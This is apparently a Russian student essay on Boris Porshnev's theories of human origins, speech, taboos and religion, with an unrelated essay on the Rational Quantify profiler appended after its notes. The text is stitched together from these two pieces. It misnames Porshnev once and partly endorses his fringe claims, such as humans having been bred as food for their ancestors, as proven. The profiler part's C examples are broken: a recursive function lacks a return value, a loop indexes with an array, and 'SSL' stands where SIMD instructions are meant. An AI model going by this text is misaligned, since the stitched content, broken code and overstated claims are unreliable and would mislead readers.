Говоря о специфической особенности человека, автор считает таковой только истинно человеческий труд, т. е. труд, регулируемый речью, непосредственно с ней связанный. Именно речь делает возможным труд как специфически человеческую, сознательную, целесообразную деятельность. Поэтому ни прямохождение, ни производство простейших орудий, согласно автору, не являются еще признаками человека. Что касается предков человека от австралопитека до неандертальца, то их автор относит, согласно классификации Карла Линнея, к семейству троглодитид. Представители этого семейства производили элементарные орудия, пользовались огнем, обладали прямохождением, но у них не было речи, поэтому их нельзя назвать людьми, а их совместную жизнь – обществом. Вот поэтому-то загадка возникновения человека сводится к объяснению возникновения человеческой речи.

Специальная глава посвящена феномену речи, которому придается роль важнейшего регулятора человеческого поведения, детерминанты на пути преобразования предчеловеческих уровней жизнедеятельности в истинно человеческие. Психофизиологическим коррелятом такой регуляции служит вторая сигнальная система. Этому понятию автор придает особое значение, поскольку в психофизиологическом плане вопрос о становлении человека трансформируется им в вопрос о преобразовании первой сигнальной системы во вторую. По сути, Поршнев доказал, что в библейском «В начале было слово» куда больше материализма, чем в ссылках на «труд», «коллективную охоту» и т. п.

Второсигнальное взаимодействие людей складывается из двух главных уровней и в свою очередь делится на первичную фазу – интердиктивную и вторичную – суггестивную. Проведенные членения позволили ученому подойти к раскрытию тонкого и сложного процесса генезиса второсигнальных связей между индивидами. Раскрывая действие механизма суггестиии, Б. Ф. Федорову по существу присоединяется к концепции социального происхождения высших психологических функций человека, развитой известным советским психологом Л. С. Выготским применительно к психическому развитию ребенка. По мнению Б. Ф. Поршнева, механизм «обращения к себе» оказывается элементарной ячейкой речи-мышления. Дипластия – элементарное противоречие мышления – анализируется автором как выражение исходных для человека социальных отношений «мы — они».

Провозглашая необходимость преодоления зоологических предрассудков, Поршнев писал: «Спор пойдет не о фактах, ибо большинство фактов палеоантропологии и палеоархеологии обладает высокой степенью надежности, а об очках, через которые привыкли смотреть на эти факты». Нет никаких оснований считать наличие огня и каменных орудий признаком появления «человека». Только неоантроп может быть признан человеком в точном смысле слова.

Человеческая культура, по Поршневу, выросла из дивергенции палеоантропов и неоантропов, из необходимости последним, взаимодействуя с первыми, все более уходить от навязанных им форм взаимодействия. Анализ данных зоологии (начиная с Дарвина) о различных формах видообразования приводит Поршнева к выводу о своеобразном «стихийном искусственном» отборе, лежащем в основе дивергенции.

Конечно, некоторые положения, выдвинутые Б. Ф. Поршневым, бывает трудно осознать и принять человеку, уверенному в том, что он – венец творенья. Утрируя, ученый утверждает, что своим появлением на земле мы обязаны некоему отвратительному животному, которое специально вывело нас искусственным отбором для выполнения единственной функции – служить ему кормовой базой! И, скажем, не только инициация-калечене подростков в первобытных племенах, но и красивый обычай дарить цветы является всего лишь результатом глубокой и длительной трансформацией нашей древнейшей и совсем не красивой основной функции – преподносить в качестве «подарка» неким мерзким животным собственных детей, производимых для этого на свет в большом количестве и собственноручно убиваемых?

А, следовательно, все общечеловеческие ценности, как религиозные, так и светские, как «западные», так и «восточные», все культурное самосознание человека сформировалось в силу необходимости дистанцироваться от своего прошлого, от своего предка, но, с другой – реально достигнутое дистанцирование надежно обеспечено лишь одним: наивной верой в то, что «мы» по определению, с «самого начала» являемся «их» (реальных предков) противоположностью.

Но так как эти отвратительные животные – наши прямые предки, то

убийство себе подобных есть не отклонение, а подлинная чловеческая природа, отличающая нас от всех остальных животных! (У последних – это все-таки исключение, а не правило).

Анализ имеющихся данных об экологических нишах, в которых на разных этапах приходилось “бороться за существование” предку человека, об эволюции его головного мозга, о беспрецедентно тесных отношениях с огромным числом других животных приводит Поршнева к двоякому выводу:28

— у человеческого предка были все анатомические и физиологические предпосылки для освоения интердикции;

— без освоения подобных инструментов человеческий предок был обречен на вымирание.

Переход со ступени на ступень происходил, конечно, не без естественного отбора из многочисленных мутаций, масштаб и разнообразие которых были спровоцированы кризисом, а значит и не без множества неустойчивых переходных форм. И только у одной из мутаций – неоантропа – третья ступень (суггестия) этим отбором была надежно и навсегда закреплена.

Учитывая сказанное выше об особенностях отношений неоантропов с палеоантропами в эпоху дивергенции, понятно решительное опровержение Поршневым распространенного предрассудка о едва ли не «буржуазном» поведении первобытного человека: «Согласно этому ходячему представлению, хозяйственная психология всякого человека может быть сведена к постулату стремления к максимально возможному присвоению. Нижним пределом отчуждения (благ или труда), психологически в этом случае приемлемым, является отчуждение за равноценную компенсацию… Действительно, поведение, обратно указанному постулату, при капитализме не может быть ни чем иным, как привеском. Но даже при феодализме, как видно из источников, хозяйственная психология содержала гораздо больше этого обратного начала: значительное число средневековых юридических и законодательных актов запрещает или ограничивает безвозмездное дарение, подношение, пожертвование недвижимого и движимого имущества. Чем дальше в глубь веков и тысячелетий, тем выпуклее этот импульс».29 Фактически Поршнев намечает контуры науки о первобытной экономике. Однако в силу того, что сохранившиеся в наше время следы первобытной экономической культуры относятся скорее к культуре как таковой, данная тема отнесена к разделу «культурология».

Глава 3. Общество, культура, религия в исторических построениях Б. Ф. Поршнева

На основании этого же положения о развитии человечества из «кормовой базы» и противостояния «предкам», Б. Ф. Поршнев развивает и свои социологические теории. В рамках этой концепции «ядром» или «элементарной клеточкой» социально-психологических процессов определяется оппозиция «мы – они». Зарождение этой оппозиции восходит ко времени распространения в среде неоантропов практики использования тех специфических механизмов воздействия друг на друга, которые перед этим сложились в их отношениях с палеоантропами. Осознание себя в качестве общности («мы») формируется, по Поршневу, в процессе негативного взаимодействия с «ними», т. е. – с палеоантропами. Такое отталкивание, будучи перенесенным внутрь самих неоантропов и порождает множество оппозиций «мы – они», каждая из которых основана на исходном взаимном «подозрении», что «они» не вполне люди.30

В процессе человеческой истории развитие этого исходной оппозиции приводит к формированию гигантской сети, отчасти взаимопересекающихся, отчасти поглощающих друг друга различных общностей («мы»), каждая из которых осознает себя в качестве таковой, противопоставляя себя некоему «они».31

Также и исследования Поршнева, затрагивающие культуру, касаются, главным образом, ее происхождения, нейрофизиологических, зоологических, а также социально-психологических предпосылок ее различных проявлений.

Хотя большинство сравнительно-исторических исследований по этике и эстетике занимается почти исключительно представлениями о «хорошем» и «красивом», с точки зрения Поршнева, напротив, наиболее интересными были бы исследования именно того, что в разные эпохи у разных народов считалось «плохим» и «некрасивым».

С другой стороны, это исследование самого физиологического и психологического механизма осуществления запрета – запрета делать что-либо «плохое». Поршнев анализирует наиболее древние запреты, выделяя три их важнейшие группы.

К первой группе он относит запреты убивать себе подобного, т.е. ограничение сформированной в ходе дивергенции фундаментальной биологической особенности человека: «По-видимому, древнейшим оформлением этого запрета явилось запрещение съедать человека, умершего не той или иной естественной смертью, а убитого человеческой рукой. Труп человека, убитого человеком, неприкасаем».32

Ко второй группе запретов Поршнев относит «запреты брать и трогать те или иные предметы, производить с ними те или иные действия. Эта группа запретов особенно тесно связана с формированием общественного отношения собственности».33

Наконец, к третьей группе запретов Поршнев относит половые запреты, в частности, наиболее древние из них – запрет полового общения матерей и сыновей, затем братьев и сестер. Подводя итоги своему анализу образа жизни древнейших людей, Поршнев пишет: «На заре становления общества… эти запреты означали преимущественные права пришельцев-мужчин. Но сложившийся таким образом конфликт между ними и младшими, выросшими на месте мужчинами, разрешился в форме возникновения, во-первых, обособлением младших в особую общественную группу, отделенную от старших сложным барьером, во-вторых, экзогамии – одного из важнейших институтов становящегося человеческого общества».34

Взгляды ученого на историю религиозных верований, происхождение представлений о «хороших» и «плохих» божествах также существенно отличается от общепринятых взглядов – как религиозных, так и светских.

Для Поршнева человеческая культура зарождается в эпоху дивергенции. В ряде специальных исследований он убедительно показал, что образы божеств, протобожеств, различных разновидностей «нечистой силы» являются отражением именно палеоантропа, с которым на протяжении длительного времени приходилось взаимодействовать человеку, а также отражением конкретных особенностей самого этого взаимодействия. И чем более древними являются эти образы, тем большие в них буквальных физических черт и особенностей поведения реального, «живого» палеоантропа.35

В функционировании института церкви Б. Ф. Поршнев также ищет материальные предпосылки. По его мнении., сущность христианского вероучения как комплекса идей, выполняющих функцию защиты экономического базиса феодализма, можно свести, пишет Поршнев, «к двум основным идеям, направляющим поведение людей: во-первых, к учению о том, что они должны делать (о добродетели), во-вторых, о том, чего они не должны делать (о грехе)».36 Главная христианская добродетель, при всем многообразии отдельных предписаний религии, в конечном счете сводится к одному пункту: «живи для бога»2, т.е. живи не для себя.

Поршнев рассматривает эту добродетель в качестве мощного инструмента, тормозящего экономическое сопротивление крестьянина: «Ясно, что это учение, будучи воспринято, должно было служить колоссальной помехой на пути укрепления крестьянского хозяйства и стремления крестьян к повышению уровня своей жизни. Более того, оно прямо требовало: “отдавай”,– а далее уже нетрудно было показать, что раз отдавать в конечном счете надо богу, то естественнее всего отдавать тем, кто представляет бога на земле – церкви и властям (ибо нет власти не от Бога)”37 Однако главной проблемой для надстройки было открытое сопротивление. Поэтому, хотя принцип “жизни не для себя” и выдвигался христианством на передний план, главным было все же учение о грехе: “Задача религии была не столько в том, чтобы уговорить крестьянина отдавать свой труд и плоды своего труда земельному собственнику и повседневно отказывать себе в удовлетворении насущных потребностей, сколько в том, чтобы уговаривать его не сопротивляться: ведь само существование феодальной эксплуатации необходимо заставляло крестьянина отстаивать свое хозяйство, укреплять его, в этом смысле “жить для себя” и сопротивляться».38

И здесь все сводится, в конечном счете, к одному пункту – к греху неповиновения. Поршнев подчеркивает, что учение о грехе было могучим орудием борьбы не только с восстаниями, но и с низшими формами открытого крестьянского сопротивления – частичным сопротивлением, уходами. Учение о грехе не только обезоруживало крестьянство, но и вооружало его противников: «Поскольку восстание есть стихия сатаны – здесь не должно быть места пощаде; не только право, но долг христианина – разить мятежников мечом».39

Подводя итоги анализу ключевых идей, которые религия внушала трудящимся, Поршнев сопоставляет роль церкви и государства: «Сущностью религии было, как видим, то же, что было и сущностью государства – подавление угрозы восстаний угрозой наказаний… Но между ними была и глубокая разница. Государство располагало действительной огромной силой для осуществления своих угроз. Авторитет лишь подкреплял эту материальную силу. Напротив, церковь располагала неизмеримо меньшими материальными возможностями и в основном действовала идейным внушением. Почему же ей верили?».40 Здесь ученый вновь обращается к анализу социально-психологической природы убеждения (проповеди) как формы контрконтрсуггестии — то есть, в общем-то, к тому механизму, которым палеоантропы первоначально принуждали к повиновению свою «кормовую базу».

Заключение

Исследования Бориса Федоровича Поршнева затрагивали едва ли не все направления общественных наук, а также некоторые смежные направления наук естественных. Исследования во всех этих областях рассматривались Поршневым в качестве тесно связанных друг с другом аспектов становления единой синтетической науки – «об общественном человеке или человеческом обществе». Универсализм Поршнева совершенно беспрецедентен для науки XX в. по своим масштабам и одновременно предполагает опору на самые точные эмпирические факты в соответствии с самыми строгими научными критериями, сформированными в этом веке.

Однако к судьбе ученого вполне применима цитата – высказывание одного биографа о судьбе известного экономиста Й. Шумпетера: «У него было много учеников, но не было последователей».41 У Поршнева было и есть много учеников и даже сторонников его взглядов в отдельных областях знаний. Но последователей в специальности «наука об общественном человеке или человеческом обществе» не существует, ибо такой специальности с поршневской парадигмой не сложилось.

«Со всем этим гигантским наследием нужно что-то делать, — говорит О. Т. Вите. – Правда, пока смельчак не нашелся».42

Список источников и литературы

Источники

Поршнев Б.Ф. Борьба за троглодитов // Простор. 1968. №№ 4-7. № 7. С. 125

Поршнев Б. Ф. История Средних веков и указание товарища Сталина об основной черте феодализма // Известия АН СССР. Серия Истории и философии. М., 1949. Т. VI. № 6. С. 535 – 536.

Поршнев Б. Ф. К вопросу об основном экономическом законе феодализма // Вопросы истории. М., 1953. № 6.

Поршнев Б.Ф. Книга о морали и религии угнетенных классов Римской империи // Вестник древней истории. М., 1963. № 1 (63).

Поршнев Б. Ф. Ледовое побоище и всемирная история // Истфак МГУ. Доклады и сообщения. М., 1947. Вып. 5.

Поршнев Б. Ф. Мыслима ли история одной страны? // Историческая наука и некоторые проблемы современности. Статьи и обсуждения. М., 1969.

Поршнев Б. Ф. Народные восстания во Франции перед Фрондой (1623—1648). М., 1948.

Поршнев Б. Ф. Очерк политической экономии феодализма. М., 1956.

Поршнев Б. Ф. Поиски обобщений в области истории религии // Вопросы истории. М., 1965. № 7.

Поршнев Б. Ф. Проблемы возникновения человеческого общества и человеческой культуры // Вестник истории мировой культуры. 1958. № 2. С. 40.

Поршнев Б. Ф. Социальная психология и история. М., 1966.

Поршнев Б. Ф. Тридцатилетняя война и вступление в нее Швеции и Московского государства. М., 1976.

Поршнев Б.Ф. Феодализм и народные массы. М., 1964.

Поршнев Б. Ф. Франция, Английская революция и европейская политика в середине XVII в. М., 1970.

Литература

Вите О. Т. Б. Ф. Поршнев: опыт создания синтетической науки об общественном человеке и человеческом обществе // Полития. 1998. №3.

Момджян Н. и Токарев С. А. Предисловие // Поршнева Б. Ф. О начале человеческой истории. Проблемы палеопсихологии. М., 1974. С. 2 – 11.


Примечания

1 Поршнев Б. Ф. Народные восстания во Франции перед Фрондой (1623—1648). М., 1948.

2 Поршнев Б. Ф. Очерк политической экономии феодализма. М., 1956.

3 Поршнев Б. Ф. Феодализм и народные массы. М., 1964.

4 Поршнев Б. Ф. Социальная психология и история. М., 1966.

5 Поршнев Б. Ф. Франция, Английская революция и европейская политика в середине XVII в. М., 1970.

6 Момджян Н. и Токарев С. А. Предисловие // Поршнева Б. Ф. О начале человеческой истории. Проблемы палеопсихологии. М., 1974. С. 2 – 11.

7 Вите О. Т. Б. Ф. Поршнев: опыт создания синтетической науки об общественном человеке и человеческом обществе // Полития. 1998. №3.

8 Момджян Н. и Токарев С. А. Указ. соч. С. 5.

9 Вите О. Т. Указ. соч.

10 Там же.

11 Поршнев Б. Ф. Мыслима ли история одной страны? // Историческая наука и некоторые проблемы современности. Статьи и обсуждения. М., 1969.

С. 310.

12 Там же. С. 310 – 311.

13 Поршнев Б. Ф. Франция, Английская революция и европейская политика в середине XVII века. М., 1970; Поршнев Б. Ф. Тридцатилетняя война и вступление в нее Швеции и Московского государства. М., 1976.

14 Поршнев Б.Ф. Франция, Английская революция и европейская политика… С. 39 – 40.

15 Поршнев Б. Ф. Тридцатилетняя война… С. 202 – 229.

16 Поршнев Б.Ф. Ледовое побоище и всемирная история // Истфак МГУ. Доклады и сообщения. М., 1947. Вып. 5.

17 Там же.

18 Там же.

19 Там же.

20 Поршнев Б.Ф. Феодализм и народные массы. М., 1964.

21 Там же. С. 512.

22 Там же. С. 513.

23 Поршнев Б. Ф. К вопросу об основном экономическом законе феодализма // Вопросы истории. М., 1953. № 6; Поршнев Б.Ф. Очерк политической экономии феодализма. М., 1956.

24 Поршнев Б. Ф. История Средних веков и указание товарища Сталина об основной черте феодализма // Известия АН СССР. Серия Истории и философии. М., 1949. Т. VI. № 6. С. 535 – 536.

25 Поршнев Б. Ф. О начале человеческой истории…

26 Момджян Н. и Токарев С. А. Указ. соч. С. 7 – 8.

27 Поршнев Б.Ф. Возможна ли сейчас научная революция в приматологии? // Вопросы философии. 1966. № 3. С. 113 – 116.

28 Поршнев Б.Ф. О начале человеческой истории… С. 404 – 405.

29 Там же.

30 Поршнев Б.Ф. Социальная психология и история. М., 1978.

31 Поршнев Б.Ф. Мыслима ли история одной страны… С. 314 – 315.

32 Поршнев Б. Ф. Проблемы возникновения человеческого общества и человеческой культуры // Вестник истории мировой культуры. 1958. № 2. С. 40.

33 Там же. С. 42.

34 Там же.

35 Поршнев Б.Ф. Книга о морали и религии угнетенных классов Римской империи // Вестник древней истории. М., 1963. № 1 (63); Поршнев Б. Ф. Поиски обобщений в области истории религии // Вопросы истории. М., 1965. № 7.

36 Там же.

37 Там же.

38 Там же.

39 Там же.

40 Там же.

41 Вите О. Т. Указ. соч.

42 Там же.

Приложение

28

Реферат: Профилировщик Quantify

Введение

Quantify, вставляя отладочный код в бинарный текст тестируемого модуля, замеряет временные интервалы, которые прошли между предыдущим и текущими запусками. Полученная информация отображается в нескольких видах: табличном, графическом, комбинированном.

Статистическая информация от Quantify позволит узнать какие dll библиотеки участвовали в работе приложения, узнать список всех вызванных функций с их именами, формальными параметрами вызова и с статистическим анализатором, показывающим сколько каждая функция исполнялась.

Гибкая система фильтров Quantify позволяет, не загромождая экран лишними выводами (например, системными вызовами) позволяет получать необходимую информацию либо только о внутренних, программных вызовах либо только о внешних, либо комбинируя оба подхода.

Вооружившись полученной статистикой, разработчик без труда выявит узкие места в производительности тестируемого приложения и устранит их в кратчайшие сроки.

Запуск приложений

Профилировщик Quantify

Рисунок 1 показывает действия после выбора «File->Run», в результате которого можно выбрать имя внешнего модуля и аргументы его вызова.

В качестве параметров настройки можно выбрать метод вставки отладочного кода:

Line. Наилучший способ вставки отладочного кода. Замеряется время исполнения каждой строки тестируемого приложения.

Function. То же самое, что и для «line», но с замером для времени исполнения вызываемых функций.

Time. Осуществляет сбор временной информации и преобразует ее вы машинные циклы.

По умолчанию Quantify собирает статистическую информацию в модуле тестируемого продукта и во всех внешних библиотеках.

Профилировщик Quantify

Начало насыщения тестируемого приложения сопровождается появлением окна инструментирования, в котором построчно отображаются все модули, вызываемые основным. Данные модули, как говорилось выше, насыщаются отладочным кодом и помещаются в специальную директорию «cache» по адресу «rationalquantifycache». Отметим, что первоначальный запуск инструментирвания процесс длительный, но каждый последующий вызов сокращает общее время ожидания в силу того, что вся необходимая информация уже есть в Кеше.

С точки зрения дисковой емкости, файл (кэшируемый) с отладочной информацией от Quantify вдвое длиннее своего собрата без отладочной информации.

Анализ информации

«Run Summary»

Плавно переходим к следующей стадии тестирования, собственно, к сбору информации. По окончании процесса насыщения отладочным кодом модулей тестируемого приложения, Quantify переходит к его исполнению, производимым, обычным образом, за одним исключением: запись состояний тестируемого приложения продолжает проводиться в фоновом режиме.

Профилировщик Quantify

Рисунок 3 демонстрирует фрагмент окна «Summary», в котором производится запись состояния тестируемого приложения. Причем, что очень примечательно, тестирование производится не только для простого приложения, но и для много поточного. В последнем случае (см. рисунок 3), тестируется каждый поток отдельно. В любом случае, даже если приложение однопоточное, то имя основного (единственного) потока именуется как «.main_0», что представляется вполне логичным.

Информационный график постепенно наполняется квадратами разного цвета, демонстрирующими текущее состояние тестируемого приложения.

Отметим некоторые из них:

Running. Начало исполнения потока;

Waiting IO. Ожидание действий по вводувыводу;

Blocked. Блокирование исполнения потока;

Quantify. Ожидание вызова модуля Quantify;

Exited. Окончание исполнения потока.

Важный аспект при тестировании — получение статистической информации о количестве внешних библиотек, которые вызывало основное приложение, а также элементарное описание машины, на которой проводилось тестирование. Последнее особенно важно, так как бывает, что ошибка проявляется только на процессорах строго определенной серии или производителя. Все статистические аспекты решаются внутри окна «Summary».

Следующие два примера показывают статистическую информацию:

(1) Общий отчет — «Details»:

Program Name: C:projectsaaDebugaa.exe

Program Arguments:

Working Directory: C:projectsaaDebug

User Name: Alex

Product Version: 2002.05.00 4113

Host Name: ALEX-GOLDER

Machine Type: Intel Pentium Pro Model 8 Stepping 10

# Processors: 1

Clock Rate: 847 MHz

O/S Version: Windows NT 5.1.2600

Physical Memory: 382 MBytes

PID: 0xfbc

Start Time: 24.04.2002 14:17:38

Stop Time: 24.04.2002 14:17:52

Elapsed Time: 13330 ms

# Measured Cycles: 191748 (0 ms)

# Timed Cycles: 2489329 (2 ms)

Dataset Size (bytes): 0x4a0001.

(2) «Log»

Quantify for Windows,

Copyright (C) 1993-2001 Rational Software Corporation All rights reserved.

Version 2002.05.00; Build: 4113;

WinNT 5.1 2600 Uniprocessor Free

Instrumenting:

Far.exe 620032 bytes

ADVAPI32.DLL 549888 bytes

ADVAPI32.DLL 549888 bytes

USER32.DLL 561152 bytes

USER32.DLL 561152 bytes

SHELL32.DLL 8322560 bytes

SHELL32.DLL 8322560 bytes

WINSPOOL.DRV 131584 bytes

WINSPOOL.DRV 131584 bytes

MPR.DLL 55808 bytes

MPR.DLL 55808 bytes

RPCRT4.DLL 463872 bytes

RPCRT4.DLL 463872 bytes

GDI32.DLL 250880 bytes

GDI32.DLL 250880 bytes

MSVCRT.DLL 322560 bytes

MSVCRT.DLL 322560 bytes

SHLWAPI.DLL 397824 bytes

SHLWAPI.DLL 397824 bytes

Для разработчика или тестера информация (информационный отчет), представленная выше, способна пролить свет на те статистические данные, которые сопровождали, а точнее, формировали среду тестирования.

Дерево вызовов «Call Graph»

Следующий интереснейший способ анализа конструкции приложения — это просмотр дерева вызовов. Окно, показанное на 4 рисунке, показывает только фрагмент окна с диаграммой вызовов.

Профилировщик Quantify

Обратите внимание на количество и последовательность вызова различных модулей потока «main». Жирная линия показывает наиболее длительные ветви (содержащие либо часто вызываемые функции, либо функции, выполнявшиеся дольше остальных). Для демонстрации возможностей Quantify было сконструировано простое приложение, состоящее из функции «main» и двух дополнительных «recursive» и «outside» (см. листинг 1).

Листинг 1. Пример тестируемого приложения, сконструированном в виде консольного приложения из Visual Studio 6.0. Язык реализации «С».

#include «stdafx.h»

//Создаем функцию-заглушку

void outside (void)

{

static int v=0;

v++;

}

//Создаем рекурсивную функцию, исполняющуюся 100 раз

int recursive(void)

{

static int i=0;

int oo;

outside();//Вызываем функцию заглушку

if(i==100){i=1;return 0;}//Обнуляем счетчик и выходим

i++;

recursive();

}

int main(int argc, char* argv[])

{

int i;

for(i=0;i<100;i++)recursive();

//Вызываем 100 раз рекурсивную функцию 100х100

return 0;

}

Приложение простое по сути, но очень содержательное, так как эффективно демонстрирует основные возможности Quantify.

В самом начале статьи мы выдвигали требование, по которому разработчикам не рекомендуется пользоваться рекурсивными функциями.

Тестеры или разработчики, увидев диаграмму вызовов, выделят функцию, находящуюся в полукруге, что является признаком рекурсивного вызова (см. рисунок).

Профилировщик Quantify

В зависимости от того, на какой из ветвей дерева, находится курсор, выводится дополнительная статистическая информация о временном доступе к выделенной функции и к дочерним, идущим ниже.

Следующий рисунок демонстрирует статистику по функции «recursive».

Профилировщик Quantify

Более подробно о статистике будет рассказано в следующем материале.

Список вызовов функций «Function List»

Одно из наиболее важных статистических окон. Здесь в табличном виде выводится статистическая информация по числу и времени работы каждой функции. Рисунок 6 демонстрирует окно с включенной сортировкой по числу вызовов каждой функции. В качестве дополнительной информации включен список формальных параметров вызовов функций. Подобную информацию можно получить только в том случае, когда тестируется модуль с отладочным кодом, к которому прилагается исходный текст.

Единицы измерения длительности работы функций могут быть следующими:

Микросекунды;

Миллисекунды;

Секунды;

Машинные циклы.

На рисунке приведены цифры соответствующие машинным циклам.

Профилировщик Quantify

Полученная таблица вызовов анализируется тестером или разработчиком для выяснения узких мест в производительности приложения.

К сожалению, для принятия решения о производительности приложения, а точнее, производительности отдельных его функций можно принимать только рассматривая данный вопрос в комплексном разрезе. А именно, принимается во внимание и число вызовов каждой функции, и среднее время доступа к функции и общее время работы функции, и, наконец, то использовались ли при компиляции определенные специфические настройки компилятора.

Это комплексный подход, не предполагающий однозначного совета.

Сначала рассмотрим описание столбцов в появившейся таблице. Хотя многие из пунктов и являются интуитивно понятными, все же попробуем дать им короткое описание:

Function. Наименование функции. Можно высвечивать число и тип формальных параметров вызова данной функции.

Calls. Число вызовов. Величина абсолютная.

Function Time. Общее время исполнения всех вызовов данной функции

Max F Time. Максимальное время функции

Module. Полный путь до модуля с функцией (бинарного)

Min F Time. Минимальное время работы функции

Source File. Полный путь до исходных текстов модуля.

По любому из предложенных полей можно провести сортировку в прямом и обратном порядке, а также наложить фильтр на определенные модули, например, для проверки только внутренних модулей или только внешних.

Выделить из списка узкую функцию трудно, поскольку для правильного расчета нужно принимать во внимание и время работы функции и число вызовов. Причем, число вызовов не всегда может быть показателем медлительности функции (вызывается часто, а работает быстро).

Трудно давать какие либо советы по оптимизации кода, тем более, что в этой редакции мы не ставили перед собой подобных целей. По теории оптимизации написаны громадные труды, к которым мы с радостью и отправляем читателей.

Можно, конечно, дать общие рекомендации по улучшению производительности кода и его эффективности:

Использовать конструкцию «I++» вместо «I=I+1», так как компиляторы транслируют первую конструкцию в более эффективный код. К сожалению, этот эффективность примера ограничена настройками используемого компилятора, и иногда бывает равнозначной по быстродействию;

Использовать прием развертывания циклов. Такой же старый прием оптимизации работы относительно простых циклов. Эффект заключается в сокращении числа проверок условия счетчика, так при проверке выполняются очень медленные функции микропроцессора (функции перехода). То есть вместо кода:

For(i=0;i<100;i++)sr=sr+1;

Лучше писать:

For(i=0;i<100;i+=2)

{

sr++;

sr++;

}

Использовать тактику отказа от использования вычисляющих конструкций внутри простых циклов. То есть, если иметь подобный фрагмент кода:

for (sr = 0; sr < 1000; sr++)

{

a[sr] = x * y;

}

то его лучше преобразовать в такой:

mn= x * y;

for (sr = 0; sr < 1000; sr++)

{

a[sr] = mn;

}

поскольку мы избавляемся от лишней операции умножения в простом цикле;

Там где возможно при работе с многомерными массивами, обращаться с ними как с одномерными. То есть, если есть необходимость в копировании или инициализации, например, двумерного массива, то вместо кода:

int sr[400][400];

int j, i;

for (i = 0; i < 400; i++)

for (j = 0; j < 400; j++)

sr[j][i] = 0;

лучше использовать конструкцию, в которой нет вложенного цикла:

int sr[400][400];

int *p = &sr[0][0];

for (int i = 0; i < 400*400; i++)

p[sr] = 0; // или *p++=0, что для большинства компиляторов одно и тоже

Также при работе с циклами выгодно использовать слияния, когда несколько коротких однотипных циклов сливаются вместе. Подобный подход также дает прирост в производительности кода;

В математических приложениях, требующих больших вычислений с плавающей точкой, или с большим количеством вызовов тригонометрических функций, удобно не производить все вычисления непосредственно, а использовать подготовленные значения в различных таблицах, обращаясь к ним как к индексам в массиве. Подход очень эффективен, но, к сожалению, как и многие эффективные подходы применим не всегда;

Короткие функции в классах лучше оформлять встроенными (inline);

В строковых операциях, в операциях копирования массивов лучше пользоваться не собственными функциями, а применять для этого стандартные библиотеки компилятора, так как эти функции, как правило, уже оптимизированы по быстродействию;

Использовать команды SSL и MMX, поскольку в достаточно большом круге задач они способны дать ускорение работы приложений в разы. Под такие задачи попадают задачи по работе с матрицами и векторами (арифметические операции над матрицами и векторами);

Использовать инструкции сдвига вместо умножений и делений там, где это позволяет делать логика программы. Например, инструкция S=S<<1 всегда эффективнее, чем S=S*2;

Конечно, это далеко не полный список приемов оптимизации кода по производительности и качеству. Для этого есть масса других книг. Примеры здесь имеют чисто утилитарный подход: демонстрация возможностей Quantify в плане исследования временных характеристик кода.

Используя все средства сбора и отображения, разработчик постепенно сможет использовать только эффективные конструкции, что поднимет производительность на недосягаемую ранее высоту.

По любой функции можно вывести более детальный отчет (см. рисунок). Из него можно почерпнуть информацию о числе дочерних функций и то, откуда они были произведены. Следующий рисунок демонстрирует данную возможность.

Профилировщик Quantify

Переход к просмотру исходного текста.

Если тестируемый модуль сопровождается исходным текстом, то в Quantify имеется возможность по переходу на уровень просмотра исходного текста. По контекстному меню можно осуществить данный переход. Вызывать функцию перехода имеет смысл только в том случае, когда Quantify работает в независимом режиме, в отрыве от среды разработки. Рисунок демонстрирует данный режим.

Сравнивание запусков «Compare Runs»

В большинстве случаев требуется иметь не только сведения об отдельных запусках, но и сравнения разных запусков в различных комбинациях для прогнозирования и анализа. Ведь всегда интересно знать быстро работает исправленная функция или медленно, по сравнению с тем, что было до этого.

Подобная аналитическая информация позволить иметь достаточно четкое представление о том находятся ли функции в прогрессирующем или в регрессирующем состоянии.

Профилировщик Quantify

Для вызова модуля сравнения необходимо воспользоваться кнопкой (Compare Runs), выделив один из запусков, и указав на любой другой (каждый новый запуск отображается в истории запусков на левой части рабочего поля Quantify).

Для осуществления не пустого сравнения, в пример, рассмотренный выше, намеренно были внесены изменения, увеличившие число вызовов функций. Данные были сохранены и перекомпилированы и снова исполнены в Quantify. Результат представлен на рисунке:

Профилировщик Quantify

Сравнение запусков позволяет проводить сравнительный анализ между базовым запуском (base – том, с которого все началось) и новым (new).

Результаты сравнения также остаются в проекте Quantify и сохраняются на протяжении жизненного цикла разработки проектов.

Наравне со сравнением запуск можно воспользоваться суммированием, нажав на кнопку Профилировщик Quantify. Эта функция вызывает простое суммирование чисел от двух запусков.

Можно сравнивать и складывать также запуски вместе со слепками (snapshot), которые позволяют оформить текущее количественное состояние в работе приложения в виде отдельного запуска. В дальнейшем над ним можно провести любую логическую операцию.

Ценность слепков проявляется тогда, когда необходимо узнать число вызовов каждой функции до свершения определенного события, например, до входа в определенный пункт меню в тестируемом приложении.

API

Это дополнительная возможность, предоставляемая Quantify по полному управлению процессом тестирования. API представляет собой набор функций, которые можно вызывать из тестируемого приложения по усмотрению разработчика.

Для получения доступа к API необходимо выполнить ряд действий по подключению «puri.h» файла с определением функций и с включением «pure_api.c» файла в состав проекта. Единственное ограничение, накладываемое API — рекомендации по постановке точек останова после вызовов Quantify при исполнении приложения под отладчиком.

Рассмотрим имеющиеся функции API Quantify:

QuantifyAddAnnotation. Позволяет задавать словесное описание, сопровождающее тестирование кода. Информация, заданная разработчиком этой функцией может быть извлечена из пункта «details» меню тестирования и доступна в LOG-файле. На ее основе, тестер может впоследствии использовать особые условия тестирования;

QuantifyClearData. Очищает все несохраненные данные;

QuantifyDisableRecordingData. Запрещает дальнейшую запись;

QuantifyIsRecordingData. Возвращает значение 1 или 0 в зависимости от того производится ли запись свойств или нет;

QuantifyIsRunning. Возвращает значение 1 или 0 в зависимости от того проходит тестируемое приложение исполнение в обычном режиме или под Quantify;

QuantifySaveData. Данная функция позволяет сохранять текущее состояние — делать снимок (snapshot);

QuantifySetThreadName. Функция позволяет разработчикам именовать потоки в произвольном именном поле. По умолчанию Quantify дает имена, наподобие «thread_1», что может не всегда положительно сказываться на читаемости получаемой информации;

QuantifyStartRecordingData. Начинает запись свойств. По умолчанию, данная функция автоматически вызывается Quantify при исполнении;

QuantifyStopRecordingData. Останавливает запись свойств.

Если модифицировать наше тестовое приложение так, чтобы оно использовало преимущества интерфейса API, то может получиться нечто нижеследующее

int main(int argc, char* argv[])

{

int i;

QuantifyAddAnnotation(«Тестирование проводится под Quantify с использованием API»);

QuantifySetThreadName(«Основной поток приложения»);

for(i=0;i<12;i++){

QuantifySaveData();

recursive();

}

return 0;

}

В листинге показано как можно использовать основные функции API для извлечения максимального статистического набора данных.

